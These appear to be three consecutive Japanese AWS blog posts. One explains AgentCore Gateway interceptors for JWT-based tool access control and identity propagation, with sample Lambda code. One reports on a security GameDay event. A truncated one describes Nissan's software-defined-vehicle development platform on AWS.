インターセプターのコード内で、このフィールドを追加する必要があります         "headers": { ... },         "body": { ... }     }   } } ターゲットサービスが応答すると、ゲートウェイレスポンスインターセプターが呼び出されます。 入力には、元のリクエストとターゲットからのレスポンスを含むイベントが渡されます。 {   "interceptorInputVersion": "1.0",   "mcp": {     "gatewayRequest": { ... },     "requestContext": { ... },     "gatewayResponse": {  // <-- このフィールドに、ターゲットのレスポンスが含まれます         "statusCode": 200,         "headers": { ... },         "body": {             "jsonrpc": "2.0",             "result": { "tools": [ ... ] }         }     }   } } ゲートウェイレスポンスインターセプター Lambda 関数は、 transformedGatewayResponse フィールドを含むレスポンスを返す必要があります。 {   "interceptorOutputVersion": "1.0",   "mcp": {     "transformedGatewayResponse": {  // <-- インターセプターのコード内で、このフィールドを追加する必要があります         "statusCode": 200,         "headers": { ... },         "body": { ... }     }   } } このリクエスト・レスポンス構造の理解は、後半で説明するカスタムインターセプターのロジック実装に不可欠です。ゲートウェイインターセプターは、エージェント型 AI ワークフローのセキュリティと管理に重要な機能を提供します。 ヘッダー管理 – カスタムヘッダーを通じて認証トークン、相関 ID、メタデータを渡す リクエスト変換 – ターゲットサービスに到達する前にリクエストペイロードの変更、コンテキストの追加、データの強化を行う セキュリティ強化 – カスタム認証、認可、データのサニタイズロジック (機密データ編集など) を実装 きめ細かなアクセス制御 – 呼び出し元のアクセス権限に基づいて MCP ツールへのアクセスを保護し、AgentCore Gateway への ListTools、InvokeTool、Search 呼び出しに対してコンテキストに応じて応答 マルチテナント MCP ツールのテナント分離 – マルチテナント環境において、呼び出しユーザー、エージェント、テナント ID に基づいてテナント分離とアクセス制御を実装 オブザーバビリティ – エージェントワークフローを監視するためのロギング、メトリクス、トレース情報を追加 ゲートウェイインターセプターは、Lambda 関数、OpenAPI エンドポイント、MCP サーバーなどの AgentCore Gateway ターゲットタイプと連携します。 ゲートウェイインターセプターのユースケース ゲートウェイインターセプターを使用することで、エージェント型 AI システムに柔軟なセキュリティとアクセス制御パターンを実装できます。本記事では、3 つのアプローチを紹介します。ツール呼び出しのきめ細かなアクセス制御、ユーザー権限に基づく動的なツールフィルタリング、分散システム間でのアイデンティティ伝播です。 ツール呼び出しのきめ細かなアクセス制御 AgentCore Gateway は、統一された MCP エンドポイントを通じて複数のバックエンドツールを公開します。異なるロールを持つユーザーには、異なるツールのアクセス許可が必要です。JWT スコープとゲートウェイインターセプターを組み合わせることで、ユーザーが認可されたツールのみを呼び出し、ロールやワークスペースに属するツールを検出できるようにします。きめ細かなアクセス制御では、 Amazon Cognito または他の OAuth 2 プロバイダーが発行する JWT スコープ値を使用します。YAML ファイルや権限マッピングテーブルを持つデータベースでの実装も可能です。今回はシンプルな命名規則に従い、ユーザーは MCP ターゲットへのフルアクセス (例: mcp-target-123 ) またはツールレベルのアクセス (例: mcp-target-123:getOrder ) を受け取ります。これらのスコープは OAuth トークン内のスコープクレームとして表現され、ツール権限に直接対応するため、認可モデルが予測可能で監査も容易です。 次の図は、このワークフローを示しています。 リクエストインターセプターは、以下のステップを通じて実行時にアクセス許可を適用します。 JWT を抽出してデコードし、スコープクレームを取得します。 tools/call を使用して、呼び出されているツールを特定します。 設定ファイルまたはアクセスポリシーデータストアを参照し、ユーザーにフルターゲットアクセスまたはツール固有の権限がない場合はリクエストをブロックします。 認可されていない呼び出しに対しては、構造化された MCP エラーを返し、バックエンドツールハンドラーの実行を防ぎます。 今回のサンプルでは、例えば以下の通り、認可機能の中核部分は意図的に最小限にしています。 def check_tool_authorization(scopes, tool, target):     if target in scopes:        return True return f"{target}:{tool}" in scopes このパターンにより、呼び出しと検出パスの両方で予測可能な認可の適用が可能になります (詳細は次のセクションで説明します)。マルチテナントアーキテクチャでは、追加のクレーム (例: tenantId 、 workspaceId ) でモデルを拡張できます。 運用セキュリティのため、インターセプターは決定論的な動作を保ち、複雑な分岐ロジックを避け、LLM の指示ではなくトークンクレームのみに依存するようにしてください。インターセプターを用いて、LLM がツールを参照または実行する前にゲートウェイ境界で認可を実施することで、ツール実装や MCP ターゲットを変更することなく、ロール、テナント、ドメイン間の強力な分離を実現できます。 ツール検出の動的なフィルタリング エージェントは、2 つの主要な方法で利用可能なツールを検出します。1 つは自然言語クエリ (「注文管理に関連するツールを探す」など) を可能にするセマンティック検索機能、もう 1 つは利用可能なツールの完全なインベントリを提供する標準的な ( tools/list ) 操作です。この検出メカニズムはエージェントの機能の基本ですが、重要なセキュリティ上の考慮が必要です。適切なフィルタリング制御がない場合、MCP サーバーはリクエストしているエージェントやユーザーの認可レベルに関係なく、利用可能なすべてのツールリストを返してしまいます。この制限のないツール検出により、未認可のユーザーやエージェントに機密性の高い機能を公開し、潜在的なセキュリティ脆弱性を生み出します。 ターゲットがセマンティック検索や MCP tools/list リクエストに応答してツールの一覧を返す際、ゲートウェイレスポンスインターセプターを使用してきめ細かなアクセス制御を実施できます。インターセプターはリクエストしているエージェントにレスポンスが到達する前に処理するため、ユーザーは許可されたツールのみを検出できます。このワークフローは以下のステップで構成されています。 ターゲットは、受信した JWT トークンを検証し、きめ細かなアクセス制御とは無関係に、全ツール一覧またはセマンティック検索でフィルタリングされたサブセットを返します。 設定されたレスポンスインターセプターが AgentCore Gateway によって呼び出されます。レスポンスインターセプターはペイロードから JWT を抽出デコードし、ユーザーの権限を定義するスコープクレームを取得します。 インターセプターは、リスト内の各ツールについて、JWT スコープに基づいてユーザーの認可を評価します。 ユーザーがアクセスを許可されていないツールはリストから削除されます。 レスポンスインターセプターは、認可されたツールのみを含む変換されたレスポンスを返します。 以下の図は、MCP tools/list と AgentCore Gateway tools/call (セマンティック検索) の両方についてこのワークフローを示しています。 以下は、レスポンスインターセプター Lambda ハンドラーのコードスニペットです。このハンドラーは、JWT トークンの抽出、ツール一覧の取得、権限に基づくフィルタリングを実行し、認可されたツールのみを含む変換されたレスポンスを返します。 def lambda_handler(event, context):     # ゲートウェイのレスポンスと認証ヘッダーを抽出     gateway_response = event['mcp']['gatewayResponse']     auth_header = gateway_response['headers'].get('Authorization', '')     token = auth_header.replace('Bearer ', '')     # JWT からスコープを抽出     claims = decode_jwt_payload(token)     scopes = claims.get('scope', '').split()          # ゲートウェイのレスポンスからツール一覧を取得 (MCP tools/list リクエストの場合)     tools = gateway_response['body']['result'].get('tools', [])     # structuredContent フィールドから取得 (AgentCore Gateway のセマンティック検索を利用する場合)     if not tools:         tools = gateway_response['body']['result'].get('structuredContent', {}).get('tools', [])          # スコープに基づきツールをフィルタリング     filtered_tools = filter_tools_by_scope(tools, scopes)          # 認可されたツールのみを含む変換されたレスポンスを返す     return {         "interceptorOutputVersion": "1.0",         "mcp": {             "transformedGatewayResponse": {                 "statusCode": 200,                 "headers": {"Authorization": auth_header},                 "body": {                     "result": {"tools": filtered_tools}                 }             }         }     } filter_tools_by_scope 関数は、ユーザーに許可されたスコープに対して各ツールの認可チェックを実装します。 def filter_tools_by_scope(tools, allowed_scopes):     """ユーザーが許可されたスコープに基づいてツールをフィルタリング"""     filtered_tools = []     for tool in tools:         target, action = tool['name'].split('___')         # ユーザーがターゲットへのフルアクセス、あるいは当該ツールへのアクセスを持つか確認         if target in allowed_scopes or f"{target}:{action}" in allowed_scopes:             filtered_tools.append(tool)                   return filtered_tools 完全な実装は  GitHub リポジトリ でご確認ください。 カスタムヘッダーの伝播 AI エージェントが複数の下流のサービスと連携する際、サービス境界を越えてユーザー ID (ユーザー識別子やユーザー情報) を維持することがセキュリティ、コンプライアンス、監査証跡にとって重要です。エージェントが AgentCore Gateway を通じてツールを呼び出す場合、元のユーザーの ID はエージェントからゲートウェイへ、そしてゲートウェイからターゲットサービスへと伝播する必要があります。適切な ID 伝播がなければ、下流のサービスはユーザー固有の認可ポリシーを適用したり、正確な監査ログを維持したり、テナント分離を実装したりすることができません。この課題は、異なるユーザーが同じエージェントインフラストラクチャを共有しながらも、厳格なデータ分離を必要とするマルチテナント環境でより深刻です。 ゲートウェイリクエストインターセプターは、以下のステップに従って、受信リクエストヘッダーとコンテキストから ID 情報を抽出し、下流のサービスが期待する形式に変換し、ターゲットサービスに到達する前にリクエストを拡張します。 ゲートウェイリクエストインターセプターは、受信リクエストから認証ヘッダーを抽出し、下流のサービス向けに変換します。 AgentCore Gateway はリクエストフローを調整し、インターセプターの実行を管理します。 ターゲット呼び出しは、適切にフォーマットされた ID 情報を含む拡張されたリクエストを受け取ります。 ゲートウェイリクエストインターセプターは、ユーザーのアクションをエンドツーエンドで可視化し、サービス境界を越えて一貫した認可ポリシーを適用し、データ主権要件へのコンプライアンスを維持するのに役立ちます。 カスタムヘッダー伝播のワークフロー全体は以下のステップで構成されています。 MCP クライアントが AgentCore Gateway を呼び出します。 AgentCore Gateway がインバウンドリクエストを認証します。 AgentCore Gateway がカスタムインターセプターを呼び出します。 ゲートウェイリクエストインターセプターは、受信リクエストのペイロードを変換します。具体的には、下流の Lambda ターゲットに送信するパラメータとして認証トークンを追加します。受信した JWT をそのまま下流の API に送信すると、特権昇格や認証情報の盗難のリスクがあるため推奨されません (エージェントが下流の API のアクセストークンを使用して MCP サーバーを呼び出す必要がある例外的なケースを除く) 。リクエストからインバウンド JWT を削除し、下流の API を呼び出すための最小権限のスコープダウントークンを持つ新しい JWT を追加することもできます。 AgentCore Gateway は変換されたリクエストでターゲットを呼び出します。ターゲットにはインターセプター Lambda 関数によって渡された認証トークンが含まれています。 AgentCore Gateway がターゲットからのレスポンスを返します。 次の図は、このワークフローを示しています。 以下は、カスタムヘッダーの伝播を実行するインターセプター Lambda ハンドラーのコードスニペットです。 import json import uuid def lambda_handler(event, context):     # ゲートウェイへのリクエストを抽出    mcp_data = event.get('mcp', {})     gateway_request = mcp_data.get('gatewayRequest', {})     headers = gateway_request.get('headers', {})     body = gateway_request.get('body', {})     extended_body = body          # 認証ヘッダーをパススルー     auth_header = headers.get('authorization', '') or headers.get('Authorization', '')    if "arguments" in extended_body["params"]:        extended_body["params"]["arguments"]["authorization"] = auth_header     # 認証ヘッダーが保持された状態の、変換されたリクエストを返す     response = {        "interceptorOutputVersion": "1.0",        "mcp": {            "transformedGatewayRequest": {               "headers": {                    "Accept": "application/json",                    "Authorization": auth_header,                    "Content-Type": "application/json"               },                 "body": extended_body             }         }     }    return response 認証なしと OAuth ベースの認可 多くの企業では、ツールの検出可能性とセキュリティのバランスを取る柔軟な認可モデルが必要です。AI エージェントやアプリケーションが、認可なしで利用可能な MCP ツールを検出および検索できるようにし、ツールカタログ全体でシームレスなツールの探索とセマンティック検索を可能にするシナリオを想定してみましょう。一方で、これらのツールを実際に呼び出す際には、認可されたエージェントとユーザーのみがツールを実行できるように、OAuth ベースの厳格な認可が必要です。さらに、一部のツールは認証が必要で、他のツールはパブリックにアクセス可能、あるいは呼び出し元のプリンシパルの ID やコンテキストに基づいて異なる権限レベルが必要など、ツールごとの認可ポリシーが必要になる場合もあります。 AgentCore Gateway は、すべてのインバウンド呼び出しに対してゲートウェイレベルで「認証なし」の認可タイプを導入することで、この柔軟性をサポートするようになりました。「認証なし」を設定すると、検出目的ですべてのターゲットとツールに認証なしでアクセスできるようになります。メソッドレベル (ListTools と CallTools) での OAuth 認可を強制したり、ツールごとの認可ポリシーを実装したりするには、ゲートウェイインターセプターを使用します。ゲートウェイインターセプターを利用することで、インバウンドの JWT を検査し、認可サーバーのディスカバリ URL を使用して RFC 6749 の要件に対して検証し、特定のメソッドやツール呼び出しへのアクセスをプログラムで許可または拒否することができます。このアプローチにより、きめ細かな制御が可能になります。ListTools や SearchTools リクエストのディスカバリを開放しながら、CallTools リクエストには厳格な OAuth 検証を強制したり、ツール、ユーザーロール、実行コンテキスト、その他組織が必要とするビジネスロジックに応じてカスタム認可ロジックを実装したりすることができます。これらすべてを、MCP 呼び出しのセキュリティが確保され、セキュリティポリシーに準拠した状態で実現できます。 次の図は、このワークフローを示しています。 このプロセスは、すべてのインバウンドコールに対してデフォルトで no-auth が設定された AgentCore Gateway への認証なしの ListTools 呼び出しから始まります。この設定により、ユーザーは認証なしで利用可能なツールを確認できます。ただし、ユーザーが特定のツールを呼び出すために CallTool リクエストを行う場合は、認証が必要です。AgentCore Gateway はカスタムリクエストインターセプター Lambda 関数を呼び出し、認証ヘッダーから JWT トークンを検証し、呼び出されている特定のツールに対するユーザーのスコープと権限をチェックします。認証が成功すると、インターセプターは必要な認証コンテキストでリクエストを変換および拡張し、AgentCore Gateway は変換されたリクエストをターゲットサービスに転送します。ターゲットはリクエストを処理してレスポンスを返し、AgentCore Gateway はそのレスポンスをクライアントに返します。このプロセスにより、ツール一覧の確認はオープンに保ちながら、実際のツール実行には厳密な OAuth ベースの認証を適用します。 インバウンドコールに対して認証なしで設定されたゲートウェイを作成するには、次の CreateGateway API に示すように、 authorizerType を NONE に設定します。 {   "name": "no-auth-gateway",   "protocolType": "MCP",   "protocolConfiguration": {     "mcp": {       "supportedVersions": ["2025-03-26"]     }   },   "authorizerType": "NONE",   "roleArn":  } オブザーバビリティ AgentCore Observability が提供する包括的なオブザーバビリティは、AgentCore Gateway を通じて複数のツールやサービスと連携する AI エージェントワークフローの監視、デバッグ、監査に不可欠です。ゲートウェイインターセプターは、下流のサービスが実行される前に認可を強制し、リクエストを変換し、データをフィルタリングするため、オブザーバビリティのレイヤーは重要なセキュリティ境界となります。これにより、以下の主要なメリットが得られます。 セキュリティ判断の可視化 – インターセプターは、許可/拒否の判断や評価された JWT スコープを含む、認可結果の信頼できるログを生成します。これにより、拒否されたリクエストの確認、ポリシーの動作の検証、ツール呼び出し全体での認可ルールの適用状況の分析に使用できる明確な監査証跡が提供されます。 リクエストとレスポンスのトレーサビリティ – インターセプターは、ヘッダーの拡充、スキーマ変換、機密データの編集など、MCP リクエストとレスポンスがどのように変更されたかを記録します。これにより、ペイロードの変更を完全にトレースでき、エージェントのワークフロー全体で安全かつコンプライアンスに準拠したデータ処理をサポートします。 下流ツールの可観測性 – インターセプターは、ステータスコード、レイテンシー、エラーレスポンスなど、下流ツールの動作をログに記録します。これにより、ターゲット全体で一貫した可視性が確保され、チームは障害のトラブルシューティング、信頼性の問題の特定、エンドツーエンドの実行特性の理解が容易になります。 これらのログはアイデンティティとコンテキストの属性も取得するため、複数のユーザーグループやテナントが同じゲートウェイを共有する環境で、認可の動作を検証し、問題を特定するのに役立ちます。ゲートウェイインターセプターは AgentCore Observability と自動的に統合され、以下の機能を提供します。 認可の判断の リアルタイムモニタリング 所要時間と呼び出し指標による パフォーマンスのボトルネック特定 マルチホップのエージェントワークフローにおける エンドツーエンドのトレーサビリティ マルチテナント環境での認可動作を検証するための ID とコンテキスト属性 次のスクリーンショットは、ゲートウェイインターセプターの Amazon CloudWatch ロググループからのサンプルメトリクスを示しています。 メトリクスによると、ゲートウェイインターセプターは 100% の成功率、最小限のレイテンシー (平均 4.47 ミリ秒)、スロットリングの問題がないなど、健全なパフォーマンスを示しています。これは、システムが最適なパラメータ内で動作しているということです。 次のスクリーンショットは、ゲートウェイインターセプターの CloudWatch からのサンプルログを示しています。 AgentCore Observabilityとの統合により、認可の判断をリアルタイムでモニタリングし、パフォーマンスのボトルネックを特定し、マルチホップのエージェントワークフローにおけるエンドツーエンドのトレーサビリティを維持できます。 まとめ エージェント型 AI システムを大規模に展開する際、組織はセキュリティとアクセス制御という根本的な課題に直面します。AgentCore Gateway のゲートウェイインターセプターは、この課題を解決します。本稿で紹介した 3 つのパターン (ツール呼び出しに対するきめ細かなアクセス制御、ツールの動的なフィルタリング、アイデンティティ伝播) は、安全なエージェント型アーキテクチャを構築するための基盤となる構成要素 (ビルディングブロック) です。これらのパターンにより、認証のギャップを埋め、認証情報を適切に分離し、独自のセキュリティポリシーを適用できます。ゲートウェイインターセプターは、リクエストとレスポンスの両方にプログラム可能な介入ポイントを提供します。これにより、既存のツール実装や MCP サーバーアーキテクチャに手を加えることなく、きめ細かなアクセス制御を実装できます。組織が数百のエージェントと数千のツールに拡大すると、複雑なエージェント型 AI 環境全体でセキュリティ、コンプライアンス、運用の可視性を確保することが不可欠です。ゲートウェイインターセプターは、そのために必要な柔軟性と制御機能を提供し、エンタープライズ統合パターンやセキュリティのベストプラクティスにも準拠しています。ゲートウェイインターセプターを備えた AgentCore Gateway は、エージェント型 AI アーキテクチャにエンタープライズグレードのセキュリティ制御を実装するための柔軟な基盤となります。一般的なエンタープライズの課題に対してゲートウェイインターセプターをどのように活用できるかについて、詳しくは以下のコードサンプルをご参照ください。 きめ細かなアクセス制御 – JWT スコープを使用したツールのロールベースアクセス制御を実装 カスタムヘッダーの伝播 – カスタムヘッダーを変換し、ターゲット API に伝播 ゲートウェイインターセプターの設定とデプロイメントに関する完全なドキュメントについては、 Amazon Bedrock AgentCore Gateway のきめ細かなアクセスコントロール を参照してください。 著者について Dhawal Patel は AWS のプリンシパル Generative AI テックリードです。大企業から中規模のスタートアップまで、さまざまな組織と共に、エージェント AI、ディープラーニング、分散コンピューティングに関する課題に取り組んできました。 Ganesh Thiyagarajan は、ソフトウェアアーキテクチャ、IT コンサルティング、ソリューション提供において 20 年以上の経験を持つ AWS のシニアソリューションアーキテクトです。ISV が AWS 上でアプリケーションを変革し、モダナイズするためのサポートを行っています。また、AI/ML テクニカルフィールドコミュニティのメンバーとして、お客様の生成 AI ソリューションの構築とスケーリングを支援しています。 Avinash Kolluri は AWS のシニアソリューションアーキテクトです。Amazon とその子会社と協力して、イノベーションと運用の優位性を加速するクラウドソリューションの設計と実装を行っています。AI/ML インフラストラクチャと分散システムに関する深い専門知識を持ち、基盤モデルの構築、ワークフロー自動化、生成 AI ソリューションのために AWS サービスを活用するお客様を支援することを専門としています。 Bhuvan Annamreddi は AWS のソリューションアーキテクトです。ISV のお客様と協力して高度なクラウドアーキテクチャの設計と実装を行い、AWS サービスを活用して製品の強化を支援しています。生成 AI とサーバーレスアーキテクチャに強い関心を持ち、意味のあるビジネス価値を提供するためのイネーブラーとして、お客様のスケーラブルで安全な革新的なシステムの構築を支援することに情熱を注いでいます。 Mohammad Tahsin は AWS の Generative AI スペシャリストソリューションアーキテクトとして、最新の AI/ML ソリューションの設計、最適化、デプロイについてお客様をサポートしています。この分野における新しい機能の最前線に立ち続けることと継続的な学習に情熱を注いでいます。趣味は、ゲーム、デジタルアート、料理です。 Ozan Deniz は AWS のソフトウェア開発エンジニアとして働いています。彼とチームは生成 AI によって販売者の機能を強化することに注力しています。仕事以外の時間はアウトドア活動を楽しんでいます。 Kevin Tsao は AgentCore Gateway チームのソフトウェア開発エンジニアです。Amazon に在籍して 6 年になり、その間、Bedrock Agents や Amazon Lex などのサービスに貢献し、会話型 AIとエージェント型 AI の分野で働いています。 本記事の翻訳は Solutions Architect の安藤慎太郎が担当しました。原文は こちら です。

みなさんこんにちは。ソリューションアーキテクトの三厨です。2025 年 10 月 14 日にお客様を AWS にお招きして「セキュリティと生成AI について学ぶ GameDay with AWS Partners」を開催しました。今回はそのイベントのご紹介や当日の雰囲気をお伝えし、セキュリティ/生成 AI への取り組みを知って頂ければ幸いです。 AWS GameDay とは AWS GameDay は、AWS ソリューションを利用してチーム単位で現実世界の技術課題を実際に体験し取り組む、AWSが提供するユニークなトレーニングプログラムですです。実践的なクラウドスキルを楽しみながら習得でき、特に今回のセキュリティインシデント疑似体験 GameDay はクラウドセキュリティに特化したプログラムとして評価いただいています。 このプログラムの特徴は、実際のAWS環境で発生しうるセキュリティインシデントをシミュレーションし、参加者がチームとなって対応するという点です。例えば、不正アクセスの検知、データ漏洩インシデントの調査、マルウェア感染への対処など、現実世界で直面する可能性のある様々なセキュリティ課題に取り組みます。 参加者は、AWS SecurityHub などの実際のAWSセキュリティサービスを駆使しながら、インシデントの検知から対応までを体験します。このハンズオン形式の学習により、座学だけでは得られない実践的なスキルと経験を積むことができます。 この AWS GameDay の魅力の一つは、ゲーミフィケーションの要素を取り入れている点です。チーム間で競い合いながら学習を進めることで、参加者のモチベーションを高く保ちつつ、効果的な学習を実現しています。さらに、チームでの協力が必要となるため、組織内のコミュニケーション能力の向上にも役立ちます。 セキュリティインシデントへの対応は、実際に発生してから学ぶのでは遅すぎます。AWS GameDayは、安全な環境で事前に経験を積み、実際のインシデント発生時に適切に対応できる体制を整えるための貴重な機会となっています。多くの企業がクラウド環境でのビジネスを展開する現代において、このような実践的なセキュリティトレーニングの重要性は、ますます高まっているといえるでしょう。 AWS GameDay の流れ、イベントの様子 今回のイベントでは、24社70名 の方々に参加いただきました。CCoEや情報システム部に所属する方だけでなく、事業部に所属されている方や管理職の方など、セキュリティに関心の高い幅広いお客様がGameDayに真剣に取り組んでいただいておりました。皆様は 3 名ごとにチームに分かれてインシデントが発生したというシナリオを元に実際の AWS 環境にログインいただき制限時間2時間の中で調査を行っていただきました。 GameDay の様子 最終結果 – 優勝チームのご紹介 ゲーム本編が終了いたしましたら結果発表となります。今回最も得点を獲得した優勝チームはコニカミノルタ株式会社の皆様が率いるチームでした。おめでとうございました。コニカミノルタ株式会社の皆様からはコメントを頂戴しています。 表彰の様子 イベントに関するご感想 緊張感をもって他社チームと競い合いながら、多くの学びと刺激を得られ、とても貴重な経験になりました！ 工夫された点 等 GameDayが初めてのメンバーもいたので、雰囲気に慣れつつ、気になる部分は1つ1つ解消して進めました。生成AIも活用しながら進めることで、学びを多く得ながらスピード感を持って対応できました！ 解説とパートナーソリューションについて 結果発表の後は、Agentic AI の時代におけるセキュリティについてを AWS と AWS のパートナー 4社 によりお伝えさせていただきました。 Palo Alto Networks パロアルトネットワークスは、グローバル・サイバーセキュリティのリーダーとして継続的なイノベーションを通じてデジタルライフの保護に取り組んでいます。世界中の70,000以上の組織からの信頼と脅威インテリジェンスチームUnit 42の専門知識によってネットワーク、クラウド、セキュリティ運用に渡る包括的なAI搭載セキュリティソリューションを提供しています。パロアルトネットワークスのプラットフォーム化への注力によって、組織は規模に応じてセキュリティを合理化し、セキュリティが組織のイノベーションを促進することを確実にします。   CyberArk CyberArk（NASDAQ：CYBR）は、アイデンティティ セキュリティの世界的なリーダー企業です。モダンエンタープライズにおける人とマシンのアイデンティティを保護する企業として、世界中の組織から信頼されています。CyberArkのAIを活用したアイデンティティ セキュリティ プラットフォームは、アイデンティティの全サイクルにおいて継続的に脅威を予防、検出、対応し、インテリジェントな特権制御をすべてのアイデンティティに適用します。これにより、組織は完全な可視性とゼロトラスト、最小特権の適用を通じて運用およびセキュリティリスクを削減し、従業員、IT、開発者、マシンを含むすべてのユーザーが、場所を問わず安全にリソースにアクセスできるようになります。   Weights&Biases Weights & Biases Japan株式会社は、エンタープライズグレードのML実験管理およびエンドツーエンドMLOpsワークフローを包含する開発・運用者向けプラットフォームを販売する日本法人です。W&Bは、LLM開発や画像セグメンテーション、創薬など幅広い深層学習ユースケースに対応し、国内外で100万人以上の機械学習開発者に信頼されているAI開発の新たなベストプラクティスです。   KnowBe4 KnowBe4は、世界で70,000社以上に採用されているセキュリティ意識向上トレーニングとフィッシング訓練のグローバルリーダーです。ヒューマンリスクマネジメントプラットフォーム（HRM+）は、従業員のセキュリティに関する人的な脆弱性と強みを可視化し、個別に最適化されたトレーニングを提供。これにより、効果的にセキュリティ意識を向上させ、行動変容を促します。トレーニングコンテンツは34ヶ国語以上に対応。多様なビジネス環境に対応し、「人的」セキュリティを強化することで、強固なセキュリティ文化の構築を支援します。   GameDay の後に さて、それでは実際に運用しているサービスに今回の経験を活かしていただくにはどうすればよいでしょうか。 今回体験いただいた AWS SecurityHubなどの種々のセキュリティサービスを導入するのも良さそうですし、紹介いただいたパートナーソリューションを導入したりといった施策を進めるのも良さそうです。ただ、現実のサービスはゲームの状況よりも複雑です。単にサービスやソリューションを導入するのではなく、運用しているサービスの現状把握や人材育成や運用体制を整えるなど必要な手立てを認識する必要があります。 そこで AWS では AWS Well-Architected Framework (W-A) をご用意しています。W-A はAWSがクラウドを10年以上の運用してきた経験や数多くのお客様とのやりとりをもとに作りあげた クラウド設計・運用のベストプラクティス集です。優れた運用効率、セキュリティ、信頼性、パフォーマンス効率、コストの最適化、持続可能性という 6つの柱に基づいて設計されており、気になる要素だけ利用いただくことも可能です。今回であればセキュリティの柱を利用して、まずは運用しているサービスの状況把握をしてみるのはいかがでしょうか。 こうした取り組みを通じて、イノベーションを促進するセキュリティ機能を構築し組織が迅速にスケールすることに自信を持つようなガードレールを作成することは、お客様が少ない労力でより強固なセキュリティポスチャを構築してより多くのリソースを成長に集中させるために重要です。ぜひ、この記事でご紹介したような方法を通じてセキュリティに関する可視性を得て、セキュリティ運用や体制を強化し、イノベーションを加速していきましょう。 このブログはアマゾン ウェブ サービス ジャパン合同会社のソリューションアーキテクト 三厨 航 が執筆しました。 著者について 三厨 航  (Wataru MIKURIYA) AWS Japan のソリューションアーキテクト (SA) として、ヘルスケア・ハイテク製造業のお客様のクラウド活用を技術的な側面・ビジネス的な側面の双方から支援しています。クラウドガバナンスや IaC 分野に興味があり、最近はそれらの分野の生成 AI 応用にも興味があります。

このブログ記事は、AWS ソリューションアーキテクト 長谷川 仁志 が執筆し、日産自動車株式会社様が監修しています。 2025 年 12 月、アマゾン ウェブ サービス （以下、AWS）のグローバル年次イベント「 re:Invent 2025 」において、日産自動車株式会社（以下、日産自動車）は、AWS との連携により Software-Defined Vehicle (以下、SDV) の開発を加速する「Nissan Scalable Open Software Platform」を構築したことを 発表しました。日産自動車 は、これまでも IT、R&D など様々な領域で AWS を活用してきましたが、本記事では、日産自動車が AWS と連携して推進する SDV 開発の取り組みについて詳しく解説します。 SDV 開発における効率化の必要性 自動車産業は大変革期にあり、車両の価値の多くがソフトウェアによって決定されるようになっています。多くの自動車メーカーが SDV 開発の取り組みに注力するなか、グローバル自動車メーカーとして世界 100 カ国以上で年間 300 万台以上を販売し、常に革新的な製品とサービスを提供してきた日産自動車。同社は SDV 開発に向けた３つの目標 「迅速かつ継続的な価値提供」「必要な安全性と性能の確保」「EV、HEV からガソリン車まですべての顧客への SDV 提供」 を掲げており、その実現に向けた取り組みを加速しています（図表1）。 日産自動車では、SDV 実現に向けたソフトウェア開発のために、主に以下の項目への取り組みに着手しました。 複雑化するソフトウェアに対応する開発効率の向上 増加するテストケースに対応する包括的なテスト体制の整備 処理能力とリソースに制限のあるオンプレミス環境から柔軟性と拡張性に優れたクラウドへの移行 グローバル開発体制の再構築 図表1 出所：AWS AWS を活用した Nissan SDV Platform の構築 上記4つの取り組みを推進するため日産自動車は、2023年「Nissan Scalable Open Software Platform」の開発に着手しました（図表2）。同プラットフォームは、車両ソフトウェア開発を実行する作業環境「Nissan Scalable Open SDK（以下、Open SDK）」、車両データを集約し活用するデータ基盤環境「Nissan Scalable Open Data（以下、Open Data）」が AWS 上に構築され、デジタルツインを実現するための車両 OS「Nissan Scalable Open OS（以下、Open OS）」の 3 層で構成されています。 同プラットフォームの中核となる AWS 上に構築された環境の Engineering Cloud（Open SDK、Open Data）では、ソフトウェア開発から機械学習のトレーニング、テストケースを含むソフトウェアの評価、データ処理まで、包括的な開発環境を提供しています。日産自動車の北米、欧州、日本などの地域の開発チームや、独自のアプリケーションを提供するサードパーティの開発者は、この Engineering Cloud の環境を共通基盤として利用できるので、それぞれの地域固有のニーズへのより迅速な対応ができるとともに、各チームの開発成果物を相互に利用することが可能となり、グローバル体制の再構築につながっています。 図表2 出所：AWS 日産自動車は、この「Nissan Scalable Open Software Platform」の構築においては AWS と連携し、AWS の240を超えるサービス群の中から Platform が求める機能・性能を実現するサービスを活用し、AWS の プロフェッショナルサービス により開発を加速しています。以下では、この連携により実現された特徴的な機能の中から、「1. CI プロセスの自動化による開発効率の向上」「2. グローバル規模での開発環境の統一」「3. 次世代コンテナ管理による開発基盤の革新」を紹介します。 1. CI プロセスの自動化による開発効率の向上 日産自動車は車載ソフトウェア開発の CI パイプラインをオンプレミスのサーバーで実行していましたが、テストに多大な時間を要していました。この課題に対し、このパイプラインをクラウドへ移行し、 AWS Step Functions 、 AWS Lambda を活用した新しいパイプラインを開発しました（図表3）。 このパイプラインは、モデルベース開発とコードベース開発の両方に対応したソフトウェアコンポーネント SIL（Software-in-the-Loop）パイプラインと、各ソフトウェアコンポーネントを統合する統合 SIL の 2 段階で構成されています。さらに、統合SIL においては、AWS のスケールするコンピューティング環境（AWS Lambda）を活用した並列処理の実装により、車載ソフトウェアのテスト実行時間を75％削減することに成功しました。特に統合 SIL では、テストケースの実行から判定、結果のグラフ生成まで、すべての工程を自動化することで、開発者の作業効率を大幅に改善しています。 図表3 出所：AWS 2. グローバル規模での開発環境の統一 日産自動車は、グローバルな SDV 開発の加速に向けて、世界中に在籍する 5,000 人以上の開発者が利用できる共通の開発環境基盤が必要でした。特に、各地域の開発者が共通環境と地域固有の開発環境の両方にアクセスでき、かつ迅速に環境を展開できる仕組みが求められていました。これに対応するため、AWS 上にワークベンチポータルを開発しました。このポータルは、 Backstage をベースとした UI を採用し、世界中のエンジニアが統一された環境で作業できる基盤を提供します（図表4）。 ワークベンチポータルは、AMI を活用した環境展開により、開発者が必要な時に迅速に開発環境にアクセスできる仕組みを実現しています。また、CI パイプラインにおいては AWS CodeBuild と Amazon ECR を組み合わせることで、コンテナイメージのビルドとデプロイを最適化し、Docker in Docker 機能により複雑な開発ツールチェーンも効率的に管理できます。このシステムは、今後 5,000 人以上の開発者の利用を見込んでおり、共通環境と地域固有の環境を柔軟に展開できる設計となっています。 図表4 出所：AWS 3. 次世代コンテナ管理による開発基盤の革新 SDV 開発における重要な課題の一つが、物理 ECU、仮想 ECU、開発環境間でのシームレスな統合でした。日産自動車は、アプリケーションを頻繁に更新するという新たな要求に対応するため、革新的なアプローチとして量産車の実 ECU にコンテナ技術を採用する取り組みを進めています（図表5）。 ECU へのコンテナ採用により、柔軟なアプリケーション更新が可能となります。この実現のため、軽量コンテナ管理を目的として「 Podman 」を採用し、日産独自の3層構成の OS 